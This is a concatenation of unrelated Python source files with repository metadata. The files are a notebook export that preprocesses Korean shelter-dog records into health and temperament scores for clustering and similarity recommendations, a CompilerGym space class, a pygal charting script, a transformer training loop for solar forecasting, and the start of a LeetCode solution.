0)\n\n\n# ### 보호중인 동물만\n\n# In[4]:\n\n\nanimal=animal.loc[animal['상태']=='보호중',:]\n\n\n# ### 강아지만 추출\n\n# In[5]:\n\n\np = re.compile('[개]')\n\nanimal['품종'] = animal['품종'].astype('str')\n\ndog_index = []\n\nfor i, a in enumerate(animal['품종']) :\n if p.search(a) :\n dog_index.append(i)\n \nanimal = animal.iloc[dog_index, :]\n\nanimal.reset_index(inplace=True)\n\n\n# ### 나이 이상한 값 제거\n\n# In[6]:\n\n\np = re.compile('(\\d){4}\\(년생\\)')\n\ndrop_list = []\nfor index, a in enumerate(animal['나이']) :\n \n if p.search(a) == None :\n drop_list.append(index)\n \nanimal = animal.drop(drop_list, axis = 0)\nanimal.reset_index(inplace=True)\n\n\n# In[7]:\n\n\nanimal.loc[animal['index']==4361, :]\n\n\n# ## 건강\n\n# ### 1) 질병\n\n# In[8]:\n\n\n# diseases = ['감염','염증', '피부염', '결막염', '피부명', '질병', '질환', '증상', '실조', '발작', '곤란', '사상충', '종양', '배농피증', '증세', '양성', '잠복', '장파열', '허니아', '백내장', '디스템퍼', '개선충', '진드기', '안충', '폐렴', '코로나', '손상']\n\n\n# In[9]:\n\n\n# animal_disease = []\n\n# for char in animal['특징'] :\n \n# char_disease = []\n \n# for disease in diseases : \n# p = re.compile(('.*'+disease+'.*'))\n \n# if p.search(char) :\n# m=p.findall(char)\n# char_disease.append(m)\n \n# animal_disease.append(char_disease)\n\n# animal['질병'] = animal_disease\n\n\n# ### 2) 장애\n\n# In[10]:\n\n\n# disorders = ['족지', '좌측후지', '골절', '절단', '기립', '못함', '마비', '교통사고', '사고', '상해', '불가', '불가능', '불능', '절음', '탈구', '탈골', '외상', '부정교합', '치아없음', '기형', '의식없음', '보행이상', '사고의심']\n\n\n# In[11]:\n\n\n# animal_disorder = []\n\n# for char in animal['특징'] :\n \n# char_disorder = []\n \n# for disorder in disorders :\n \n# p = re.compile('.*'+disorder+'.*')\n \n# if p.search(char) :\n# m=p.findall(char)\n# char_disorder.append(m)\n \n \n# animal_disorder.append(char_disorder)\n\n# animal['장애'] = animal_disorder\n\n\n# ### 3) 일시적으로 보이는 증상들\n\n# In[12]:\n\n\n# etcs = ['영양상태', '출혈', '기력', '허약', '식욕부진', '임신', '탈수', '탈진', '무기력', '힘이없음', '설사', '눈곱', '콧물', '침흘림', '저체온', '진드기', '혈변', '거품토', '탯줄', '치석', '찰과상', '상처', '쇠약', '탈모', '기침', '비만']\n\n\n# In[13]:\n\n\n# animal_etc = []\n\n# for char in animal['특징'] :\n \n# char_etc = []\n \n# for etc in etcs : \n# p = re.compile('.*'+etc+'.*')\n \n# if p.search(char) :\n# m=p.findall(char)\n# char_etc.append(m)\n \n# animal_etc.append(char_etc)\n \n# animal['일시증상'] = animal_etc\n\n\n# # 건강\n\n# In[14]:\n\n\npain_list = ['감염','염증', '병변', '피부', '이염', '결막염', '질병', '질환', '증상', '실조', '발작', '곤란', '사상충', '종양', '배농피증', '증세', '양성', '잠복', '장파열', '허니아', '백내장', '디스템퍼', '개선충', '진드기', '안충', '폐렴', '코로나', '손상', '백내장',\n '족지', '좌측후지', '장애', '골절', '절단', '기립', '못함', '마비', '교통사고', '사고', '상해', '불가', '불가능', '불능', '절음', '절고', '절뚝', '탈구', '탈골', '외상', '부정교합', '치아없음', '기형', '의식없음', '보행이상', '사고의심', '안구', '휘어', '파행', '파열', '나와있음', '실명',\n '영양상태', '출혈', '기력', '허약', '식욕부진', '식욕없음', '식욕 없음', '임신', '탈수', '탈진', '탈장', '마름', '무기력', '힘이없음', '설사', '눈곱', '콧물', '침흘림', '저체온', '진드기', '혈변', '거품토', '탯줄', '치석', '찰과상', '상처', '쇠약', '탈모', '기침', '비만', '몸떪', '묽은변', '덜덜', '물혹']\n\n\n# In[15]:\n\n\nanimal_pain = []\n\nfor char in animal['특징'] :\n \n char_pain = []\n \n for pain in pain_list : \n p = re.compile('.*'+pain+'.*')\n \n if p.search(char) :\n m=p.findall(char)\n char_pain.append(m)\n \n animal_pain.append(char_pain)\n\nanimal['건강'] = animal_pain\n\n\n# ## 성격\n\n# ### 1) 친화성 ↑\n\n# In[16]:\n\n\naffinity_list = ['좋아', '따름', '따른', '따르', '온순', '순함', '순한', '순하', '순둥', '순딩', '순종', '친화', '호기심', \n '활발', '착함', '착한', '밝은', '밝고', '애교', '호의', '얌전', '사교', '우호', '친밀', '명량', \n '친근', '사랑스', '활기', '쾌활', '활달', '낯가림 없음', '입질없음', '사회성', '성격좋은', \n '성격 좋은', '차분', '점잖', '안기는', '배변가림', '배변 가림', '배변가리고', '배변 가리고', '낯가림없음', '낯가림 없음', '공격성 없음', '공격성없음']\n\n\n# In[17]:\n\n\nanimal_affinity = []\n\nfor char in animal['특징'] :\n \n char_affinity = []\n \n for affinity in affinity_list : \n p = re.compile('.*'+affinity+'.*')\n \n if p.search(char) :\n m=p.findall(char)\n char_affinity.append(m)\n \n animal_affinity.append(char_affinity)\n \nanimal['친화성+'] = animal_affinity\n\n\n# ### 2) 친화성 ↓\n\n# In[18]:\n\n\nunfriendly_list = ['위협','사나움', '사나운', '싸나움', '사납', '경계', '겁', '소심', '쫄보', '입질', '무서워', '무서운', '낯가림', '낯가리', '으르렁', '예민', '까칠', '무뚝뚝', '공격성', '따르지 않음', '친화 노력', '사람손피함', '공격적', '숫기가 없', '돌변', '포악', '짖음', '짖는', '짖다' '훈련안됨', '짜증', '성격있음', '성격 있음', '싫어', '안기려하지는 않음', '거칠', '피함', '불안', '다가가기']\n\n\n# In[19]:\n\n\nanimal_unfriendly = []\n\nfor char in animal['특징'] :\n \n char_unfriendly = []\n \n for unfriendly in unfriendly_list : \n p = re.compile('.*'+unfriendly+'.*')\n \n if p.search(char) :\n m=p.findall(char)\n char_unfriendly.append(m)\n \n animal_unfriendly.append(char_unfriendly)\n \nanimal['친화성-'] = animal_unfriendly\n\n\n# ## 강조\n\n# ### 친화성 + 강조\n\n# In[20]:\n\n\nemphasis_list = ['매우', '많이', '많은', '많고', '잘', '엄청', '너무', '너무나', '굉장히', '대단히', '몹시', '무척', '심히', '아주', '심각', '심함', '나쁨', '불량']\n\n\n# In[21]:\n\n\nanimal_emphasis_affinity = []\n\nfor char in animal['특징'] :\n \n char_emphasis_affinity = []\n \n for affinity in affinity_list :\n \n for emphasis in emphasis_list :\n \n p = re.compile('.*'+emphasis+'\\s{0,1}'+affinity+'.*' + '|' + '.*'+affinity+'\\s{0,1}'+emphasis+'.*')\n\n if p.search(char) :\n m=p.findall(char)\n char_emphasis_affinity.append(m)\n\n \n animal_emphasis_affinity.append(char_emphasis_affinity)\n \nanimal['친화성+강조'] = animal_emphasis_affinity\n\n\n# ### 친화성 - 강조\n\n# In[22]:\n\n\nanimal_emphasis_unfriendly = []\n\nfor char in animal['특징'] :\n \n char_emphasis_unfriendly = []\n \n for unfriendly in unfriendly_list :\n \n for emphasis in emphasis_list :\n \n p = re.compile('.*'+emphasis+'\\s{0,1}'+unfriendly+'.*' + '|' + '.*'+unfriendly+'\\s{0,1}'+emphasis+'.*')\n\n if p.search(char) :\n m=p.findall(char)\n char_emphasis_unfriendly.append(m)\n \n animal_emphasis_unfriendly.append(char_emphasis_unfriendly)\n \nanimal['친화성-강조'] = animal_emphasis_unfriendly\n\n\n# In[23]:\n\n\naff_list = []\nfor aff in animal['친화성+'] :\n aff_list.append(len(aff))\n\n\n# In[24]:\n\n\nunf_list = []\nfor unf in animal['친화성-'] :\n unf_list.append(len(unf))\n\n\n# In[25]:\n\n\naff_score1= [i-j for i, j in zip(aff_list, unf_list)]\n\n\n# In[26]:\n\n\naff_list = []\nfor aff in animal['친화성+강조'] :\n aff_list.append(len(aff))\n\n\n# In[27]:\n\n\nunf_list = []\nfor unf in animal['친화성-강조'] :\n unf_list.append(len(unf))\n\n\n# In[28]:\n\n\naff_score2= [i-j for i, j in zip(aff_list, unf_list)]\n\n\n# In[29]:\n\n\naff_score= [i+j for i, j in zip(aff_score1, aff_score2)]\n\n\n# In[30]:\n\n\nanimal['api_친화성'] = aff_score\n\n\n# In[31]:\n\n\npain_score = []\nfor pain in animal['건강'] :\n pain_score.append(7-len(pain))\n\n\n# In[32]:\n\n\nanimal['api_건강점수'] = pain_score\n\n\n# #### 친화성 score\n\n# In[33]:\n\n\n# animal['친화성_score'] = animal['api_친화성']\n\n# animal.loc[animal['친화성'] == '높음', '친화성_score'] = animal.loc[animal['친화성'] == '높음', '친화성_score'] + 2\n# animal.loc[animal['친화성'] == '낮음', '친화성_score'] = animal.loc[animal['친화성'] == '높음', '친화성_score'] - 2\n# animal.loc[animal['친화성_score'].isnull()==True, '친화성_score'] = 0\n\n\n# ### 연령\n\n# In[34]:\n\n\nage_list = ['개월', '주', '일']\n\n\n# In[35]:\n\n\nanimal_age = []\n\nfor char in animal['특징'] :\n \n char_age = []\n \n for age in age_list : \n p = re.compile('(\\d+[.])*\\d+'+age)\n \n if p.search(char) :\n m=p.search(char)\n char_age.append(m.group())\n \n animal_age.append(char_age)\n \nanimal['1년미만'] = animal_age\n\n\n# ## 나이\n\n# In[36]:\n\n\nyear_list = []\nfor a in animal['나이'] :\n year = a.strip('(년생)')\n year_list.append(year)\n\n\n# In[37]:\n\n\nanimal['출생연도'] = year_list\n\n\n# In[38]:\n\n\nanimal['출생연도'].unique()\n\n\n# In[39]:\n\n\nanimal['만나이'] = 2022 - animal['출생연도'].astype('int')\n\n\n# In[40]:\n\n\nmonth = re.compile('(\\d+[.]){0,1}\\d+개월')\nweek = re.compile('(\\d+[.]){0,1}\\d+주')\nday = re.compile('(\\d+[.]){0,1}\\d+일')\nnum = re.compile('(\\d+[.]){0,1}\\d+')\n\n\n# In[41]:\n\n\nage_list = []\n\nanimal['1년미만'] = animal['1년미만'].astype('str')\n\nfor a in animal['1년미만'] :\n if month.search(a) :\n week_num = float(num.search(a).group()) * 4.5\n age_list.append(week_num)\n pass\n \n elif week.search(a) :\n week_num = float(num.search(a).group())\n age_list.append(week_num)\n pass\n \n elif day.search(a) :\n week_num = float(num.search(a).group()) / 7\n age_list.append(week_num)\n pass\n \n else :\n age_list.append('None')\n\n\n# In[42]:\n\n\nanimal['1년미만_주환산'] = age_list\n\n\n# In[43]:\n\n\nanimal['1년이상_주환산'] = animal['만나이'] * 52\n\n\n# In[44]:\n\n\nweek_age_list = []\nfor a, b in zip(animal['1년미만_주환산'], animal['1년이상_주환산']) :\n if a == 'None' and b == 0 :\n week_age_list.append(27)\n elif a == 'None' and b != 0 :\n week_age_list.append(b)\n else :\n week_age_list.append(a)\n\n\n# In[45]:\n\n\nanimal['나이_주환산'] = week_age_list\n\n# ## 체중\n\n# In[49]:\n\n\np = re.compile('(\\d+[.]){0,1}\\d+\\(Kg\\)')\n\n\n# In[50]:\n\n\na_index = []\nb = []\n\nfor i, a in enumerate(animal['체중']) :\n if p.search(a) == None :\n a_index.append(i)\n b.append(animal['체중'][i])\n\n\n# In[51]:\n\n\np = re.compile('(\\d+[.]){0,1}\\d+')\n\n\n# In[52]:\n\n\nweight_list = []\nfor a in animal['체중'] :\n weight_list.append(p.search(a).group())\n\n\n# In[53]:\n\n\nanimal['체중'] = weight_list\n\n\n# In[54]:\n\n\nanimal['체중'] = animal['체중'].astype(float)\n\n\n# ### 성별\n\n# In[56]:\n\n\nanimal = pd.concat([animal, pd.get_dummies(animal['성별'])], axis=1)\n\n\n# ### 중성화\n\n# In[57]:\n\n\nanimal = pd.concat([animal, pd.get_dummies(animal['중성화여부'])], axis=1)\n\n\n\n# ## 모델링\n\n# ### 1) 군집화 모델 저장\n\n# In[74]:\n\n\nfeature = animal[['나이_주환산', '체중', 'api_친화성', 'api_건강점수']]\nminmaxscaler = MinMaxScaler()\nminmaxscaler.fit(feature)\njoblib.dump(minmaxscaler, '../model/minmaxscaler.pkl')\nanimal_minmax_scaled = minmaxscaler.transform(feature)\n\nkmeans = KMeans(n_clusters=50, init='k-means++', max_iter=1000, random_state=1).fit(animal_minmax_scaled)\n\nanimal['군집'] = kmeans.labels_\n\nanimal.to_csv('../data/preprocessed_data/preprocessed_dog.csv', index=False)\n# In[75]:\n\n\njoblib.dump(kmeans, '../model/kmeans.pkl')\n\n\n# ### 2) 콘텐츠 유사도 저장\n\n# In[88]:\n\n\nanimal_cos_sim = cosine_similarity(animal_minmax_scaled, animal_minmax_scaled)\n\n\n# In[77]:\n\n\n# animal_cos_sim\n\n\n# In[78]:\n\n\n# animal_sim=animal_cos_sim.argsort(axis=1)\n\n\n# In[79]:\n\n\n# animal_sim\n\n\n# In[87]:\n\n\n# np.flip(animal_sim, axis=1)\n\n\n# In[91]:\n\n\nsim10_index=np.flip(animal_cos_sim.argsort(axis=1), axis=1)[:,1:11]\n\ndogs_sim_reg = []\nfor i in range(sim10_index.shape[0]) :\n dog_sim_reg = []\n for j in range(sim10_index.shape[1]) :\n dog_sim_reg.append(animal.iloc[sim10_index[i][j]]['유기번호'])\n dogs_sim_reg.append(dog_sim_reg)\n\ndogs_sim_reg = np.array(dogs_sim_reg)\n\n\nsim_dict = {}\n\nfor i in range(len(dogs_sim_reg)) :\n sim_dict[animal.iloc[i]['유기번호']] = dogs_sim_reg[i]\n\n# In[94]:\n\njoblib.dump(sim_dict, '../data/preprocessed_data/dogs_sim10_regno.csv')\n\n\n# In[ ]:\n\n\n\n\n", "repo_name": "seojeon9/HeartDognal", "sub_path": "roadpet_webpage/RoadPet/my_road_pet/module/preprocess(backup).py", "file_name": "preprocess(backup).py", "file_ext": "py", "file_size_in_byte": 13667, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.read_csv", "line_number": 21, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 37, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 57, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 186, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 220, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 249, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 283, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 310, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 421, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 464, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 465, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 466, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 467, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 532, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 550, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 578, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 578, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 586, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 586, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.MinMaxScaler", "line_number": 598, "usage_type": "call"}, {"api_name": "joblib.dump", "line_number": 600, "usage_type": "call"}, {"api_name": "sklearn.cluster.KMeans", "line_number": 603, "usage_type": "call"}, {"api_name": "joblib.dump", "line_number": 611, "usage_type": "call"}, {"api_name": "sklearn.metrics.pairwise.cosine_similarity", "line_number": 619, "usage_type": "call"}, {"api_name": "numpy.flip", "line_number": 649, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 658, "usage_type": "call"}, {"api_name": "joblib.dump", "line_number": 668, "usage_type": "call"}]} {"seq_id": "1056628671", "text": "from typing import Optional, Tuple\n\nimport numpy as np\nfrom gym.spaces import Space\n\nfrom compiler_gym.spaces.common import issubdtype\nfrom compiler_gym.spaces.scalar import Scalar\n\n\nclass Sequence(Space):\n \"\"\"A sequence of values. Each element of the sequence is of `dtype`. The\n length of the sequence is bounded by `size_range`.\n\n Example:\n\n ::\n\n >>> space = Sequence(size_range=(0, None), dtype=str)\n >>> space.contains(\"Hello, world!\")\n True\n\n ::\n\n >>> space = Sequence(size_range=(256, 256), dtype=bytes)\n >>> space.contains(\"Hello, world!\")\n False\n\n :ivar size_range: A tuple indicating the `(lower, upper)` bounds for\n sequence lengths. An upper bound of `None` means no upper bound. All\n sequences must have a lower bound of length >= 0.\n :ivar dtype: The data type for each element in a sequence.\n :ivar opaque_data_format: An optional string describing an opaque data\n format, e.g. a data structure that is serialized to a string/binary\n array for transmission to the client. It is up to the client and service\n to agree on how to decode observations using this value. For example,\n an opaque_data_format of `string_json` could be used to indicate that\n the observation is a string-serialized JSON value.\n \"\"\"\n\n def __init__(\n self,\n name: str,\n size_range: Tuple[int, Optional[int]] = (0, None),\n dtype=bytes,\n opaque_data_format: Optional[str] = None,\n scalar_range: Optional[Scalar] = None,\n ):\n \"\"\"Constructor.\n\n :param name: The name of the space.\n\n :param size_range: A tuple indicating the `(lower, upper)` bounds for\n sequence lengths. An upper bound of `None` means no upper bound. All\n sequences must have a lower bound of length >= 0.\n\n :param dtype: The data type for each element in a sequence.\n\n :param opaque_data_format: An optional string describing an opaque data\n format, e.g. a data structure that is serialized to a string/binary\n array for transmission to the client. It is up to the client and\n service to agree on how to decode observations using this value. For\n example, an opaque_data_format of `string_json` could be used to\n indicate that the observation is a string-serialized JSON value.\n\n :param scalar_range: If specified, this denotes the legal range of each\n element in the sequence. This is enforced by :meth:`contains()\n ` checks.\n \"\"\"\n self.name = name\n self.size_range = size_range\n self.dtype = dtype\n self.opaque_data_format = opaque_data_format\n self.scalar_range = scalar_range\n\n def __repr__(self) -> str:\n upper_bound = \"inf\" if self.size_range[1] is None else self.size_range[1]\n d = f\" -> {self.opaque_data_format}\" if self.opaque_data_format else \"\"\n return (\n f\"{self.dtype.__name__}_list<>[{int(self.size_range[0])},{upper_bound}]){d}\"\n )\n\n def contains(self, x):\n lower_bound = self.size_range[0]\n upper_bound = float(\"inf\") if self.size_range[1] is None else self.size_range[1]\n if not (lower_bound <= len(x) <= upper_bound):\n return False\n\n # TODO(cummins): The dtype API is inconsistent. When dtype=str or\n # dtype=bytes, we expect this to be the type of the entire sequence. But\n # for dtype=int, we expect this to be the type of each element. We\n # should distinguish these differences better.\n if self.dtype in {str, bytes}:\n if not isinstance(x, self.dtype):\n return False\n elif hasattr(x, \"dtype\"):\n if not issubdtype(x.dtype, self.dtype):\n return False\n\n # Run the bounds check on every scalar element, if there is a scalar\n # range specified.\n elif self.scalar_range:\n return all(self.scalar_range.contains(s) for s in x)\n else:\n for element in x:\n if not issubdtype(type(element), self.dtype):\n return False\n\n return True\n\n def sample(self):\n \"\"\"\n .. warning::\n The `Sequence` space cannot be sampled from.\n\n :raises NotImplementedError: Not supported.\n \"\"\"\n raise NotImplementedError\n\n def __eq__(self, other):\n if not isinstance(other, Sequence):\n return False\n return (\n self.name == other.name\n and self.size_range == other.size_range\n and np.dtype(self.dtype) == np.dtype(other.dtype)\n and self.opaque_data_format == other.opaque_data_format\n and self.scalar_range == other.scalar_range\n )\n", "repo_name": "facebookresearch/CompilerGym", "sub_path": "compiler_gym/spaces/sequence.py", "file_name": "sequence.py", "file_ext": "py", "file_size_in_byte": 4857, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 821, "dataset": "github-code", "pt": "78", "api": [{"api_name": "gym.spaces.Space", "line_number": 10, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 43, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 43, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 45, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 46, "usage_type": "name"}, {"api_name": "compiler_gym.spaces.scalar.Scalar", "line_number": 46, "usage_type": "name"}, {"api_name": "compiler_gym.spaces.common.issubdtype", "line_number": 96, "usage_type": "call"}, {"api_name": "compiler_gym.spaces.common.issubdtype", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.dtype", "line_number": 125, "usage_type": "call"}]} {"seq_id": "75008536543", "text": "#!/usr/bin/env python3\n\nimport argparse\nimport datetime\nimport itertools as it\nimport pygal\nimport sys\n\ndef doit(input_file, output_file, columns, delimiter, has_header, title, x_column):\n\t# Read the entire input, accounting for the header, if any.\n\tg= (line.rstrip().split(delimiter) for line in input_file)\n\tif has_header:\n\t\theader= next(g)\n\tdata= tuple(g)\n\tif not data:\n\t\treturn\n\n\t# Transpose the data into rows.\n\tdata= list(zip(*data))\n\tif not has_header:\n\t\theader= tuple(\"F%d\" % i for i in range(len(data)))\n\n\t# Determine the X column (now row) labels, if any.\n\tif x_column:\n\t\tx_labels= data[int(x_column) - 1]\n\n\t# Determine desired column (now row) indices.\n\tif columns:\n\t\tdef as_index_range(s):\n\t\t\tparts= s.split('-')\n\t\t\treturn range(int(parts[0]) - 1, int(parts[-1]))\n\t\tindices= tuple(it.chain(*map(as_index_range, columns.split(','))))\n\telse:\n\t\tindices= tuple(range(len(data[0])))\n\n\t# Convert the desired columns (now rows) of data into floats.\n\tdef convert(row):\n\t\treturn tuple(map(float, row))\n\tg= (data[i] for i in indices)\n\tdata= tuple(map(convert, g))\n\theader= tuple(header[i] for i in indices)\n\n\t# Create the line chart.\n\tc= pygal.Line(show_dots=False)\n\tif title:\n\t\tc.title= title\n\tif x_column:\n\t\tc.x_labels= x_labels\n\tfor i, row in enumerate(data):\n\t\tc.add(header[i], row)\n\tprint(c.render().decode(), file=output_file)\n\nif __name__ == \"__main__\":\n\tparser= argparse.ArgumentParser(description=\"Creates a line chart of data.\")\n\tparser.add_argument(\"-d\", \"--delimiter\", metavar=\"C\",\n\t\thelp=\"column delimiter character (default whitespace)\")\n\tparser.add_argument(\"-l\", \"--legend\", action=\"store_true\",\n\t\thelp=\"use the first line as the names in the legend\")\n\tparser.add_argument(\"-t\", \"--title\",\n\t\thelp=\"title of the chart\")\n\tparser.add_argument(\"-x\", \"--x-labels\", metavar=\"N\",\n\t\thelp=\"column number of data containing labels for X axis\")\n\tparser.add_argument(\"columns\",\n\t\thelp=\"comma-delimited ranges of column numbers to plot\")\n\tparser.add_argument(\"input_file\", nargs='?',\n\t\ttype=argparse.FileType('r'), default=sys.stdin)\n\tparser.add_argument(\"output_file\", nargs='?',\n\t\ttype=argparse.FileType('w'), default=sys.stdout,\n\t\thelp=\"output SVG file\")\n\targs= parser.parse_args()\n\tdoit(args.input_file, args.output_file, args.columns, args.delimiter, args.legend, args.title, args.x_labels)\n", "repo_name": "Tenchumaru/home", "sub_path": "bin/plot-lines.py", "file_name": "plot-lines.py", "file_ext": "py", "file_size_in_byte": 2301, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "itertools.chain", "line_number": 32, "usage_type": "call"}, {"api_name": "pygal.Line", "line_number": 44, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 54, "usage_type": "call"}, {"api_name": "argparse.FileType", "line_number": 66, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 66, "usage_type": "attribute"}, {"api_name": "argparse.FileType", "line_number": 68, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 68, "usage_type": "attribute"}]} {"seq_id": "43755374988", "text": "from model import Transformer\nfrom torch.utils.data import DataLoader\nimport torch\nimport torch.nn as nn\nfrom DataLoader import SensorDataset\nimport logging\nimport time # debugging\nfrom plot import *\nfrom helpers import *\nfrom joblib import load\nfrom icecream import ic\nfrom torch.optim.lr_scheduler import ReduceLROnPlateau\nimport math, random\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.metrics import mean_absolute_error as mae\nfrom sklearn.metrics import r2_score\n\nlogging.basicConfig(level=logging.INFO, format=\"%(asctime)s [%(levelname)s] %(name)s %(message)s\", datefmt=\"[%Y-%m-%d %H:%M:%S]\")\nlogger = logging.getLogger(__name__)\n\ndef flip_from_probability(p):\n return True if random.random() < p else False\n\ndef transformer(dataloader, EPOCH, k, frequency, path_to_save_model, path_to_save_loss, path_to_save_predictions, device):\n EPOCH =10\n device = torch.device(device)\n\n model = Transformer().float().to(device)\n optimizer = torch.optim.Adam(model.parameters())\n # scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(optimizer, mode='min', factor=0.1, patience=200)\n criterion = torch.nn.MSELoss()\n best_model = \"\"\n min_train_loss = float('inf')\n\n for epoch in range(EPOCH + 1):\n train_loss = 0\n val_loss = 0\n\n ## TRAIN -- TEACHER FORCING\n model.train()\n for _input, target in dataloader:\n \n # Shape of _input : [batch, input_length, feature]\n # Desired input for model: [input_length, batch, feature]\n print(_input.shape,'___input shape____')\n print(target.shape,'-----target-----')\n\n optimizer.zero_grad()\n src =torch.squeeze(_input,0) # torch.Size([24, 1, 7])\n target = torch.squeeze(target,0) # src shifted by 1.\n sampled_src = src[:1, :, :] #t0 torch.Size([1, 1, 7])\n # print(src.shape,\"____src shape____\")\n # print(target.shape,\"____target shape____\")\n # print(sampled_src.shape,\"____sample shape___\")\n # # input(\"!!!!!!!!!\")\n print(len(target))\n for i in range(len(target)):\n print(sampled_src.shape)\n prediction = model(sampled_src.float(), device) # torch.Size([1xw, 1, 1])\n \"\"\"\n # to update model at every step\n # loss = criterion(prediction, target[:i+1,:,:1])\n # loss.backward()\n # optimizer.step()\n \"\"\"\n\n if i < 24: # One day, enough data to make inferences about cycles\n prob_true_val = True\n else:\n ## coin flip\n v = k/(k+math.exp(epoch/k)) # probability of heads/tails depends on the epoch, evolves with time.\n prob_true_val = flip_from_probability(v) # starts with over 95 % probability of true val for each flip in epoch 0.\n ## if using true value as new value\n\n if prob_true_val: # Using true value as next value\n sampled_src = torch.cat((sampled_src.detach(), src[i+1, :, :].unsqueeze(0).detach()))\n else: ## using prediction as new value\n positional_encodings_new_val = src[i+1,:,1:].unsqueeze(0)\n predicted_humidity = torch.cat((prediction[-1,:,:].unsqueeze(0), positional_encodings_new_val), dim=2)\n sampled_src = torch.cat((sampled_src.detach(), predicted_humidity.detach()))\n \n \"\"\"To update model after each sequence\"\"\"\n loss = criterion(target, prediction)\n loss.backward()\n optimizer.step()\n train_loss += loss.detach().item()\n\n mse = mean_squared_error(target[:,0,0].numpy(), prediction[:,0,0].numpy())\n print(\"Mean square error : \" + str(mse))\n\n\n error = mae(target[:,0,0].numpy(), prediction[:,0,0].numpy())\n print(\"Mean absolute error : \" + str(error))\n\n\n r2 = r2_score(target[:,0,0].numpy(), prediction[:,0,0].numpy())\n print('r2 score for perfect model is', r2)\n\n\n\n if train_loss < min_train_loss:\n torch.save(model.state_dict(), path_to_save_model + f\"best_train_{epoch}.pth\")\n torch.save(optimizer.state_dict(), path_to_save_model + f\"optimizer_{epoch}.pth\")\n min_train_loss = train_loss\n best_model = f\"best_train_{epoch}.pth\"\n\n\n if epoch % 2 == 0: # Plot 1-Step Predictions\n\n logger.info(f\"Epoch: {epoch}, Training loss: {train_loss}\")\n scaler_feature = load('scalar_feature.joblib')\n scaler_target = load('scalar_target.joblib')\n\n sampled_src_inverter_hr_mean = scaler_feature.inverse_transform(sampled_src[:,:,-1].cpu()) #torch.Size([35, 1, 7])\n src_inverter_hr_mean = scaler_feature.inverse_transform(src[:,:,-1].cpu()) #torch.Size([35, 1, 7])\n target_inverter_hr_mean = scaler_target.inverse_transform(target.cpu()) #torch.Size([35, 1, 7])\n prediction_inverter_hr_mean = scaler_target.inverse_transform(prediction.detach().cpu().numpy()) #torch.Size([35, 1, 7])\n plot_training_3(epoch, path_to_save_predictions, src_inverter_hr_mean, sampled_src_inverter_hr_mean, prediction_inverter_hr_mean)\n\n train_loss /= len(dataloader)\n log_loss(train_loss, path_to_save_loss, train=True)\n \n plot_loss(path_to_save_loss, train=True)\n return best_model", "repo_name": "srv-sh/pv_generation_forecasting", "sub_path": "train_with_sampling.py", "file_name": "train_with_sampling.py", "file_ext": "py", "file_size_in_byte": 5494, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.basicConfig", "line_number": 18, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 18, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 19, "usage_type": "call"}, {"api_name": "random.random", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 26, "usage_type": "call"}, {"api_name": "model.Transformer", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 29, "usage_type": "attribute"}, {"api_name": "model.parameters", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.nn.MSELoss", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 31, "usage_type": "attribute"}, {"api_name": "model.train", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.squeeze", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.squeeze", "line_number": 50, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 76, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 79, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 80, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 88, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_absolute_error", "line_number": 92, "usage_type": "call"}, {"api_name": "sklearn.metrics.r2_score", "line_number": 96, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 102, "usage_type": "call"}, {"api_name": "model.state_dict", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 103, "usage_type": "call"}, {"api_name": "joblib.load", "line_number": 111, "usage_type": "call"}, {"api_name": "joblib.load", "line_number": 112, "usage_type": "call"}]} {"seq_id": "6600697077", "text": "from typing import List\nfrom collections import Counter\n\n\nclass Solution:\n def numPairsDivisibleBy60(self, time: List[int]) -> int:\n remain = 